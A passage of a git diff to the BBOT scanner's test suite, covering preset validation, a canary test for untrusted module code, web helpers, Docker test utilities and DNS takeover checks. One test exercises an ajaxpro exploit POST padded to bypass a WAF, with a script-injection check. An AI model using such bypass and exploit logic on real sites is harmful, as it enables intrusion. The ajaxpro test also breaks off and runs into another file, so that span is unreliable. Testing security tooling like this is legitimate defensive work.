("ALWAYS", "always"), (" never ", "never")): + scan = Scanner( + "http://127.0.0.1", presets=["lightfuzz"], config={"modules": {"lightfuzz": {"avoid_wafs": value}}} + ) + await scan._prep() + assert scan.modules["lightfuzz"].avoid_wafs == expected, ( + f"avoid_wafs={value!r} became {scan.modules['lightfuzz'].avoid_wafs!r}, expected {expected!r}" + ) + + +def test_validate_preset_untrusted_module_dir_runs_no_code(tmp_path): + """A module dir refused by the loader's trust prompt is never read, so its Config class never executes.""" + from bbot.core.modules import ModuleLoader + + mod_dir = tmp_path / "mods" + mod_dir.mkdir() + canary = tmp_path / "canary" + (mod_dir / "canarymod.py").write_text( + "from bbot.modules.base import BaseModule\n" + "from bbot.core.config.models import BaseModuleConfig, Field\n" + "class canarymod(BaseModule):\n" + ' watched_events = ["DNS_NAME"]\n' + ' produced_events = ["DNS_NAME"]\n' + ' flags = ["passive", "safe"]\n' + ' meta = {"description": "x", "created_date": "2025-01-01", "author": "@x"}\n' + " class Config(BaseModuleConfig):\n" + f" _canary = __import__('pathlib').Path({str(canary)!r}).write_text('ran')\n" + ' foo: str = Field("", description="foo")\n' + ) + preset = {"module_dirs": [str(mod_dir)], "modules": ["canarymod"]} + + asked = [] + loader = ModuleLoader() + loader.confirm_module_dir = lambda module_dir, module_names, notes: ( + asked.append((module_dir, module_names)) or False + ) + errs = validate_preset(preset, module_loader=loader) + assert asked == [(mod_dir.resolve(), ["canarymod"])] + assert any(e.path == "module_dirs" and "not trusted" in e.message for e in errs), [str(e) for e in errs] + assert "canarymod" not in loader.preloaded() + assert not canary.exists() + + # trusting the folder loads it, and validating then executes its Config class + loader.confirm_module_dir = lambda module_dir, module_names, notes: True + assert validate_preset(preset, module_loader=loader) == [] + assert canary.read_text() == "ran" + + +def test_validate_preset_config_module_dirs_is_ignored(tmp_path): + """`module_dirs` only works as a top-level preset key. As a config option it's deprecated: accepted, but nothing is loaded.""" + from bbot.core.modules import ModuleLoader + + loader = ModuleLoader() + assert validate_preset({"config": {"module_dirs": [str(tmp_path)]}}, module_loader=loader) == [] + assert tmp_path.resolve() not in loader.module_dirs + + +def test_validate_preset_misplaced_preset_key(): + """A top-level preset key nested under `config:` points the user back to the top level.""" + errs = validate_preset({"config": {"include": ["subdomain-enum"]}}) + assert len(errs) == 1, [str(e) for e in errs] + assert '"include" is a top-level preset option' in errs[0].message diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index b0d5ee2aad..945ca18857 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -1,4 +1,6 @@ import re +import time +from types import SimpleNamespace from blasthttp import HTTPStatusError @@ -150,21 +152,21 @@ async def test_web_request_rejects_conflicting_body_kwargs(bbot_scanner): @pytest.mark.asyncio async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock): - # json conversion + # response-to-event-dict conversion + from bbot.core.helpers.web.response_event import response_to_event_dict + scan = bbot_scanner("evilcorp.com") await scan._prep() url = "http://www.evilcorp.com/json_test?a=b" blasthttp_mock.add_response(url=url, text="hello\nworld") response = await scan.helpers.web.request(url) - j = scan.helpers.response_to_json(response) + j = response_to_event_dict(response, url) assert j["status_code"] == 200 assert j["host"] == "www.evilcorp.com" - assert j["scheme"] == "http" assert j["method"] == "GET" - assert j["port"] == 80 assert j["path"] == "/json_test" assert j["body"] == "hello\nworld" - assert j["content_type"] == "text/plain" + assert j["content_type"].startswith("text/plain") assert j["url"] == "http://www.evilcorp.com/json_test?a=b" await scan._cleanup() @@ -214,6 +216,24 @@ async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock): with open(filename2) as f: assert f.read() == download_content + # download respects cache_hrs when checking freshness + cached_file = scan1.helpers.cache_filename(url) + cached_file.write_text("stale") + two_days_ago = time.time() - 48 * 3600 + os.utime(cached_file, (two_days_ago, two_days_ago)) + filename = await scan1.helpers.download(url, cache_hrs=72) + assert Path(filename).read_text() == "stale" + filename = await scan1.helpers.download(url, cache_hrs=24) + assert Path(filename).read_text() == download_content + + # with a custom filename, freshness is checked on that file, not the url's cache entry + assert scan1.helpers.is_cached(url, cache_hrs=24) + custom_file = BBOT_TEST_DIR / "bbot_download_cache_hrs_test_file" + custom_file.unlink(missing_ok=True) + filename = await scan1.helpers.download(url, filename=custom_file, cache_hrs=24) + assert filename == custom_file + assert custom_file.read_text() == download_content + # beautifulsoup download_content = """
    @@ -342,7 +362,12 @@ def sync_callback(data): assert response2.status_code == 200 assert any(interactsh_domain2.endswith(f"{s}") for s in server_list) - await asyncio.sleep(10) + # poll until every asserted condition holds, capped at the old fixed budget + deadline = time.time() + 10 + while time.time() < deadline: + if sync_correct_url and async_correct_url: + break + await asyncio.sleep(0.1) data_list = await interactsh_client.poll() data_list2 = await interactsh_client2.poll() @@ -668,10 +693,8 @@ def honest_handler(request): assert r1.status_code == 200 assert r1.decode_error - # both HTTP_RESPONSE dict builders carry that reason forward j1 = response_to_event_dict(r1, HTTPSERVER_HOSTPORT) assert j1["decode_error"] == r1.decode_error - assert scan.helpers.response_to_json(r1)["decode_error"] == r1.decode_error # those bytes are not content, so they are not offered as a body or a title assert j1["body"] == "" @@ -686,7 +709,6 @@ def honest_handler(request): assert r2.decode_error is None j2 = response_to_event_dict(r2, HTTPSERVER_HOSTPORT) assert "decode_error" not in j2 - assert "decode_error" not in scan.helpers.response_to_json(r2) event2 = scan.make_event(j2, "HTTP_RESPONSE", parent=scan.root_event) assert event2.data["title"] == "real body" @@ -802,3 +824,118 @@ async def mock_probe(scheme, host, port): assert result2 is None await scan._cleanup() + + +@pytest.mark.asyncio +async def test_base_module_is_http_wildcard_host_per_url(bbot_scanner): + """Base module wrapper does a per-URL compare against the wildcard baseline + so real endpoints on a catchall host aren't wrongly rejected. WEB_PARAMETER + GETPARAM events are probed with the parameter baked into the URL.""" + from bbot.errors import HttpCompareError + from bbot.modules.base import BaseModule + + scan = bbot_scanner("wildcardhost.test") + await scan._prep() + + # baseline HttpCompare stub: records the URL passed to compare() + class FakeCompare: + def __init__(self): + self.calls = [] + self.behaviour = "match" # override per test + + async def compare(self, url, **kwargs): + self.calls.append(url) + if self.behaviour == "raise": + raise HttpCompareError("boom") + if self.behaviour == "dead": + # compare() only hands back a None response when the request itself failed + return (False, ["request_failed"], False, None) + match = self.behaviour == "match" + return (match, [], False, SimpleNamespace(status_code=200)) + + fake_compare = FakeCompare() + + async def wildcard_returns_compare(scheme, host, port): + return fake_compare + + scan.helpers.web.is_http_wildcard_host = wildcard_returns_compare + + module = BaseModule(scan) + + def make_url_event(url): + return scan.make_event(url, "URL", parent=scan.root_event, tags=["status-200"]) + + def make_web_param_event(url, name, value, ptype="GETPARAM"): + data = {"host": "wildcardhost.test", "type": ptype, "name": name, "original_value": value, "url": url} + return scan.make_event(data, "WEB_PARAMETER", parent=scan.root_event) + + # 1) URL that matches the wildcard baseline: skip (True) + fake_compare.behaviour = "match" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/index.php")) + assert result is True + assert fake_compare.calls == ["https://wildcardhost.test/index.php"] + + # 2) URL that diverges from the baseline: real endpoint (False) + fake_compare.behaviour = "differ" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/params.php")) + assert result is False + assert fake_compare.calls == ["https://wildcardhost.test/params.php"] + + # 3) WEB_PARAMETER GETPARAM: probe URL with the parameter baked in, not the bare URL + fake_compare.behaviour = "differ" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host( + make_web_param_event("https://wildcardhost.test/index.php", "manager", "foo") + ) + assert result is False + assert len(fake_compare.calls) == 1 + assert fake_compare.calls[0].startswith("https://wildcardhost.test/index.php?") + assert "manager=foo" in fake_compare.calls[0] + + # 4) WEB_PARAMETER POSTPARAM: probe uses the bare URL (POST body isn't reflected in a GET probe) + fake_compare.behaviour = "differ" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host( + make_web_param_event("https://wildcardhost.test/index.php", "manager", "foo", ptype="POSTPARAM") + ) + assert result is False + assert fake_compare.calls == ["https://wildcardhost.test/index.php"] + + # 5) probe request died: unknown, not a wildcard verdict + fake_compare.behaviour = "dead" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/dead.php")) + assert result is None + + # 6) HttpCompareError from the compare -> None + fake_compare.behaviour = "raise" + fake_compare.calls.clear() + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/broken.php")) + assert result is None + + # 7) Scalar True from a test mock (no .compare attribute) -> True (backward-compat) + async def wildcard_returns_true(scheme, host, port): + return True + + scan.helpers.web.is_http_wildcard_host = wildcard_returns_true + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/whatever")) + assert result is True + + # 8) False / None from the helper pass through unchanged + async def wildcard_returns_false(scheme, host, port): + return False + + scan.helpers.web.is_http_wildcard_host = wildcard_returns_false + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/anything")) + assert result is False + + async def wildcard_returns_none(scheme, host, port): + return None + + scan.helpers.web.is_http_wildcard_host = wildcard_returns_none + result = await module._is_http_wildcard_host(make_url_event("https://wildcardhost.test/anything")) + assert result is None + + await scan._cleanup() diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 2c55ad6724..c0da1bd074 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -1,12 +1,15 @@ +import time import pytest import asyncio import logging import pytest_asyncio +from contextlib import suppress from ...bbot_fixtures import * from bbot.scanner import Scanner from bbot.core.config.merge import deep_merge from bbot.core.helpers.misc import rand_string +from bbot.test.worker import CONTAINER_READY_TIMEOUT, ORPHAN_CANCEL_TIMEOUT, _OOM_HINT log = logging.getLogger("bbot.test.modules") @@ -126,7 +129,16 @@ async def module_test( self.log.debug(f"Cancelling {len(tasks)} orphaned tasks after {self.name}") for t in tasks: t.cancel() - await asyncio.gather(*tasks, return_exceptions=True) + # Bounded: a task that absorbs its cancellation (an await shielded from + # it, whose resolver was itself cancelled) never completes, and an + # unbounded gather here then hangs the whole worker until the job + # limit. pytest-timeout cannot fire in fixture teardown. + _, pending = await asyncio.wait(tasks, timeout=ORPHAN_CANCEL_TIMEOUT) + if pending: + self.log.warning( + f"{len(pending)} orphaned tasks did not exit within {ORPHAN_CANCEL_TIMEOUT}s " + f"after {self.name}, abandoning them: {pending}" + ) async def _execute_scan(self, module_test): """Execute the scan and collect events. Can be overridden by benchmark classes.""" @@ -178,18 +190,84 @@ async def setup_after_prep(self, module_test): async def _mock_http_wildcard(*args, **kwargs): return False - async def wait_for_port_open(self, port): + async def wait_for_port_open(self, port, timeout=CONTAINER_READY_TIMEOUT): + deadline = time.time() + timeout while not await self.is_port_open("localhost", port): + if time.time() > deadline: + raise RuntimeError( + f"Port {port} did not open within {timeout}s, so the container never came up. {_OOM_HINT}" + ) self.log.verbose(f"Waiting for port {port} to be open...") await asyncio.sleep(0.5) # allow an extra second for things to settle await asyncio.sleep(1) - async def is_port_open(self, host, port): + async def start_container(self, name, *args): + """Start a detached container, replacing any leftover of the same name. + + A container the previous attempt failed to remove keeps its published + ports bound, so the retry's ``docker run`` fails and the test then waits + on a port nothing will ever listen on. + """ + rm = await asyncio.create_subprocess_exec( + "docker", + "rm", + "-f", + name, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + await rm.communicate() + + proc = await asyncio.create_subprocess_exec( + "docker", + "run", + "-d", + "--rm", + "--name", + name, + *args, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + stdout, stderr = await proc.communicate() + if proc.returncode != 0: + raise RuntimeError( + f"Failed to start container {name} (exit {proc.returncode}): {stderr.decode(errors='replace').strip()}" + ) + return stdout.decode(errors="replace").strip() + + async def stop_container(self, name): + proc = await asyncio.create_subprocess_exec( + "docker", + "rm", + "-f", + name, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + await proc.communicate() + + async def is_port_open(self, host, port, settle=0.5): + """Return True only once something is really listening behind ``port``. + + docker publishes a port by binding it on the host at container create + time, so a bare connect succeeds while the containerized service is + still booting. The proxy then immediately EOFs that connection. Treat an + instant EOF as not-yet-listening; a connection that stays open, or one + that sends a banner, means the service is up. + """ + writer = None try: reader, writer = await asyncio.open_connection(host, port) - writer.close() - await writer.wait_closed() - return True + try: + return await asyncio.wait_for(reader.read(1), timeout=settle) != b"" + except asyncio.TimeoutError: + return True except (ConnectionRefusedError, OSError): return False + finally: + if writer is not None: + writer.close() + with suppress(ConnectionResetError, OSError): + await writer.wait_closed() diff --git a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py index 1c3fb4dc9f..fe9619c178 100644 --- a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py +++ b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py @@ -1,5 +1,8 @@ +from urllib.parse import urlparse + from .base import ModuleTestBase from bbot.test.worker import HTTPSERVER_URL +from bbot.modules.base import BaseModule class TestAjaxpro(ModuleTestBase): @@ -74,3 +77,95 @@ def check(self, module_test, events): if e.type == "TECHNOLOGY" and e.data["technology"] == "ajaxpro": ajaxpro_httpresponse_detection = True assert ajaxpro_httpresponse_detection, "Ajaxpro HTTP_RESPONSE detection failed" + + +class TestAjaxpro_nowafpls_bypass(ModuleTestBase): + """Ajaxpro should pad its exploit POST body via nowafpls when the URL is WAF-tagged and + the WAF is bypassable; the resulting FINDING should carry the ``used-nowafpls`` tag.""" + + targets = ["ajaxpro-bypass.test"] + modules_overrides = ["http", "ajaxpro"] + config_overrides = {"web": {"nowafpls_padding_sizes": [1024]}} + + _exploit_response = ( + 'null; r.error = {"Message":"Constructor on type \'AjaxPro.Services.ICartService\' not found.",' + '"Type":"System.MissingMethodException"};' + ) + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + _name = "dummy_module" + + async def handle_event(self, event): + if event.data != "ajaxpro-bypass.test": + return + url = self.scan.make_event( + "http://ajaxpro-bypass.test/", + "URL", + parent=event, + tags=["dir", "waf", "cloudflare", "in-scope", "status-200"], + ) + if url is not None: + await self.emit_event(url) + + async def setup_after_prep(self, module_test): + from blasthttp.mock import MockResponse + + await module_test.mock_dns({"ajaxpro-bypass.test": {"A": ["127.0.0.1"]}}) + + self.exploit_bodies: list[bytes] = [] + exploit_response = self._exploit_response + + def cb(request): + method = request.method + path = urlparse(str(request.url)).path + body = request.content or b"" + if isinstance(body, str): + body = body.encode() + + if method == "GET": + if path.endswith("/ajaxpro/whatever.ashx"): + return MockResponse(status_code=200, text="ok") + if path.endswith("/a/whatever.ashx"): + return MockResponse(status_code=404, text="not found") + return MockResponse(status_code=200, text="ok") + + has_pad = body.startswith(b"__nowafpls_pad=") or b'"__nowafpls_pad"' in body + has_malicious_script = b"%3Cscript" in body or b"Oops! We couldn’t find that page.", "status": 200} + respond_args = {"response_data": "error code: 1001", "status": 409} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) await module_test.mock_dns( @@ -212,3 +212,94 @@ def check(self, module_test, events): "Failed to emit FINDING" ) assert any("baddns-cname" in e.tags for e in events), "Failed to add baddns tag" + + +class BaseTestBaddnsDelegation(ModuleTestBase): + module_name = "baddns" + modules_overrides = ["baddns"] + targets = ["bad.dns"] + config_overrides = { + "dns": {"minimal": False}, + "modules": {"baddns": {"enabled_submodules": ["DELEGATION"]}}, + } + + async def dispatchWHOIS(x): + return None + + async def setup_after_prep(self, module_test): + from baddns.lib.whoismanager import WhoisManager + + await module_test.mock_dns(self.mock_data) + module_test.monkeypatch.setattr(WhoisManager, "dispatchWHOIS", self.dispatchWHOIS) + + +class TestBaddns_delegation(BaseTestBaddnsDelegation): + mock_data = { + "bad.dns": {"A": ["127.0.0.1"]}, + "_acme-challenge.bad.dns": {"CNAME": ["baddns.azurewebsites.net."]}, + "_dmarc.bad.dns": {"CNAME": ["baddns.trydiscourse.com."]}, + "selector1._domainkey.bad.dns": {"CNAME": ["baddns.us-east-1.elasticbeanstalk.com."]}, + "_NXDOMAIN": [ + "baddns.azurewebsites.net", + "baddns.trydiscourse.com", + "baddns.us-east-1.elasticbeanstalk.com", + ], + } + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + descriptions = [e.data["description"] for e in findings] + assert any("Dangling ACME delegation [_acme-challenge.bad.dns]" in d for d in descriptions), ( + "Failed to emit ACME delegation FINDING" + ) + assert any("Dangling DMARC delegation [_dmarc.bad.dns]" in d for d in descriptions), ( + "Failed to emit DMARC delegation FINDING" + ) + assert any("Dangling DKIM delegation [selector1._domainkey.bad.dns]" in d for d in descriptions), ( + "Failed to emit DKIM delegation FINDING" + ) + assert all(e.data["severity"] == "HIGH" for e in findings), "Delegation findings must be HIGH severity" + assert all("baddns-delegation" in e.tags for e in findings), "Failed to add baddns tag" + + +class TestBaddns_delegation_wildcard(BaseTestBaddnsDelegation): + """A wildcard answers for every probed label, so only a label pointing somewhere else is a real delegation.""" + + mock_data = { + "bad.dns": {"A": ["127.0.0.1"]}, + "_acme-challenge.bad.dns": {"CNAME": ["baddns.trydiscourse.com."]}, + r"regex:.*\.bad\.dns$": {"CNAME": ["wildcard.azurewebsites.net."]}, + "_NXDOMAIN": ["baddns.trydiscourse.com", "wildcard.azurewebsites.net"], + } + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + descriptions = [e.data["description"] for e in findings] + assert any("Dangling ACME delegation [_acme-challenge.bad.dns]" in d for d in descriptions), ( + "Label pointing off the wildcard must still be reported" + ) + assert not any("Dangling DMARC delegation" in d for d in descriptions), ( + "Wildcard-covered labels must not be reported" + ) + assert not any("Dangling DKIM delegation" in d for d in descriptions), ( + "Wildcard-covered labels must not be reported" + ) + + +class TestBaddns_delegation_generic(BaseTestBaddnsDelegation): + """A CNAME to a name that simply doesn't exist is routine here, so only claimable outcomes count.""" + + mock_data = { + "bad.dns": {"A": ["127.0.0.1"]}, + "_acme-challenge.bad.dns": {"CNAME": ["baddns.azurewebsites.net."]}, + "_dmarc.bad.dns": {"CNAME": ["gone.unknown-vendor.net."]}, + "_NXDOMAIN": ["baddns.azurewebsites.net", "gone.unknown-vendor.net"], + } + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + descriptions = [e.data["description"] for e in findings] + assert any("Dangling ACME delegation [_acme-challenge.bad.dns]" in d for d in descriptions), ( + "Label matching a service signature must be reported" + ) + assert not any("DMARC" in d for d in descriptions), "GENERIC delegation findings must be suppressed" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py index d99f39c00a..84926445a0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py @@ -27,7 +27,7 @@ async def handle_event(self, event): self.events_seen.append(event.data) url = f"http://bad.dns:{HTTPSERVER_PORT}/" url_event = self.scan.make_event( - url, "URL", parent=self.scan.root_event, tags=["cloudflare", "in-scope", "status-401"] + url, "URL", parent=self.scan.root_event, tags=["cloudflare", "in-scope", "status-404"] ) if url_event is not None: await self.emit_event(url_event) @@ -46,8 +46,8 @@ def set_target(self, target): expect_args = {"method": "GET", "uri": "/"} respond_args = { - "response_data": "NoSuchBucketThe specified bucket does not existbad.dns", - "status": 401, + "response_data": "

    Error 404 - AnnounceKit

    ", + "status": 404, } module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) @@ -59,7 +59,7 @@ def set_target(self, target): def check(self, module_test, events): assert any( e.type == "FINDING" - and "Possible [AWS Bucket Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: The specified bucket does not exist, BucketName | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]" + and "Possible [Announcekit Takeover Detection] via direct BadDNS analysis. Indicator: [[Words: Error 404 - AnnounceKit | Condition: and | Part: body] Matchers-Condition: and] Trigger: [self] baddns Module: [CNAME]" in e.data["description"] for e in events ), "Failed to emit FINDING" diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py index 6c94a2de73..071b41a27d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py +++ b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py @@ -215,7 +215,9 @@ def check(self, module_test, events): # Check TECHNOLOGY events from software assert any( - e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:2.3:a:apache:tomcat:9.0.50:*:*:*:*:*:*:*" + e.type == "TECHNOLOGY" + and e.data["technology"] == "tomcat" + and e.data["cpe"] == "cpe:2.3:a:apache:tomcat:9.0.50:*:*:*:*:*:*:*" for e in events ), "Failed to detect Apache Tomcat technology with CPE" assert any(e.type == "TECHNOLOGY" and e.data["technology"] == "java" for e in events), ( diff --git a/bbot/test/test_step_2/module_tests/test_module_crt.py b/bbot/test/test_step_2/module_tests/test_module_crt.py index 34bfd7b1a1..8947a3d591 100644 --- a/bbot/test/test_step_2/module_tests/test_module_crt.py +++ b/bbot/test/test_step_2/module_tests/test_module_crt.py @@ -6,7 +6,7 @@ async def setup_after_prep(self, module_test): module_test.module.abort_if = lambda e: False for t in self.targets: module_test.blasthttp_mock.add_response( - url="https://crt.sh?q=%25.blacklanternsecurity.com&output=json", + url="https://crt.sh/?q=%25.blacklanternsecurity.com&output=json", json=[{"id": 1, "name_value": "asdf.blacklanternsecurity.com\nzzzz.blacklanternsecurity.com"}], ) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py index 3ecbf4dceb..3a05a92de8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute.py @@ -7,19 +7,6 @@ class TestDnsbrute(ModuleTestBase): config_overrides = {"modules": {"dnsbrute": {"wordlist": str(subdomain_wordlist), "max_depth": 3}}} async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "asdf.blacklanternsecurity.com" in _input: - yield """{"name": "asdf.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "asdf.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, @@ -149,19 +136,6 @@ class TestDnsbruteMultiWordlist(ModuleTestBase): config_overrides = {"modules": {"dnsbrute": {"wordlist": [str(wordlist_1), str(wordlist_2)], "max_depth": 3}}} async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "asdf.blacklanternsecurity.com" in _input: - yield """{"name": "asdf.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "asdf.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, @@ -183,9 +157,8 @@ def check(self, module_test, events): class TestDnsbruteCanaryCheck(ModuleTestBase): """Test that the canary check correctly aborts brute-forcing on wildcard domains. - Simulates a wildcard domain by making massdns return a result for every input - subdomain, including the canary subdomains. The canary check should detect - this and return no results. + Simulates a wildcard domain by resolving every name under it, canaries + included. The canary check should detect this and return no results. """ module_name = "dnsbrute" @@ -193,31 +166,11 @@ class TestDnsbruteCanaryCheck(ModuleTestBase): config_overrides = {"modules": {"dnsbrute": {"wordlist": str(subdomain_wordlist)}}} async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - # simulate a wildcard domain: return a result for EVERY input subdomain - _input = [l async for l in kwargs["input"]] - for subdomain in _input: - hostname = subdomain.strip() - if hostname: - yield ( - '{"name": "' - + hostname - + '.", "type": "A", "class": "IN", "status": "NOERROR", "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "' - + hostname - + '.", "data": "1.2.3.4"}]}, "resolver": "195.226.187.130:53", "proto": "UDP"}' - ) - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["4.3.2.1"]}, + # Resolve anything under the domain, so the random canaries hit too. + "regex:.*\\.blacklanternsecurity\\.com": {"A": ["1.2.3.4"]}, } ) diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsbrute_mutations.py b/bbot/test/test_step_2/module_tests/test_module_dnsbrute_mutations.py index 4f4009825f..dee3858c34 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsbrute_mutations.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsbrute_mutations.py @@ -11,23 +11,6 @@ class TestDnsbrute_mutations(ModuleTestBase): ] async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "rrrr-test.blacklanternsecurity.com" in _input: - yield """{"name": "rrrr-test.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "rrrr-test.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - if "rrrr-ffdsa.blacklanternsecurity.com" in _input: - yield """{"name": "rrrr-ffdsa.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "rrrr-ffdsa.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - if "hmmmm.test2.blacklanternsecurity.com" in _input: - yield """{"name": "hmmmm.test2.blacklanternsecurity.com.", "type": "A", "class": "IN", "status": "NOERROR", "rx_ts": 1713974911725326170, "data": {"answers": [{"ttl": 86400, "type": "A", "class": "IN", "name": "hmmmm.test2.blacklanternsecurity.com.", "data": "1.2.3.4."}]}, "flags": ["rd", "ra"], "resolver": "195.226.187.130:53", "proto": "UDP"}""" - else: - async for _ in old_run_live(*command, check=False, text=True, **kwargs): - yield _ - - module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", new_run_live) - await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["1.2.3.4"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py index b8b1255a55..4ac7d5bd82 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py @@ -8,27 +8,6 @@ class TestDNSCommonSRV(ModuleTestBase): config_overrides = {"dns": {"minimal": False}} async def setup_after_prep(self, module_test): - old_run_live = module_test.scan.helpers.run_live - - async def new_run_live(*command, check=False, text=True, **kwargs): - if "massdns" in command[:2]: - _input = [l async for l in kwargs["input"]] - if "_ldap._tcp.gc._msdcs.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - if "_ldap._tcp.gc._msdcs.api.blacklanternsecurity.com" in _input: - yield """{"name":"_ldap._tcp.gc._msdcs.api.blacklanternsecurity.com.","type":"SRV","class":"IN","status":"NOERROR","rx_ts":1713974911725326170,"data":{"answers":[{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.api.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."},{"ttl":86400,"type":"SRV","class":"IN","name":"_ldap._tcp.gc._msdcs.blacklanternsecurity.com.","data":"10 10 1720 asdf.blacklanternsecurity.com."}]},"flags":["rd","ra"],"resolver":"195.226.187.130:53","proto":"UDP"}""" - if "_ldap._tcp.gc._msdcs.test.api.blacklanternsecurity.com" in _input: - yield 